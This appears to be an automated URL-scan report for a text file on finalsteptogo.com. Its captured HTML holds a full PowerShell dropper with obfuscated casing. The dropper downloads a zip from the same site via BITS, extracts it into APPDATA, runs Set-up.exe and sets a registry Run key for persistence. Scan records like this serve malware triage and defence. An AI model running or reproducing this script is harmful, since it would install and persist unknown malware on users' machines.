- Scan ID:
- 82bca081-c8bd-4c58-a12f-5ccdc5e60801Finished
- Submitted URL:
- https://finalsteptogo.com/uploads/tr10.txt
- Report Finished:
Links · 0 found
The outgoing links identified from the page
JavaScript Variables · 3 found
Global JavaScript variables loaded on the window object of a page, are variables declared outside of functions and accessible from anywhere in the code within the current scope
Name | Type |
---|---|
onbeforetoggle | string |
documentPictureInPicture | string |
onscrollend | string |
Console log messages · 1 found
Messages logged to the web console
Type | Category | Log |
---|---|---|
error | network |
|
HTML
The raw HTML body of the page
<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">$6BVKk6Tk='https://finalsteptogo.com/uploads/tera10.zip'; $xK8C7oKa=$env:APPDATA+'\sobSJSxf'; $DLWMJVMp=$env:APPDATA+'\o9gCY84n.zip'; $6x4wYV59=$xK8C7oKa+'\Set-up.exe'; if (-not (tEst-PATh $xK8C7oKa)) { new-ItEM -Path $xK8C7oKa -ItemType Directory }; Start-bITSTRaNsFeR -Source $6BVKk6Tk -Destination $DLWMJVMp; eXpANd-arcHIVe -Path $DLWMJVMp -DestinationPath $xK8C7oKa -Force; reMOve-iteM $DLWMJVMp; stARt-pROceSs $6x4wYV59; neW-iTeMPROpeRTY -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'sMDPckFO' -Value $6x4wYV59 -PropertyType 'String';</pre></body></html>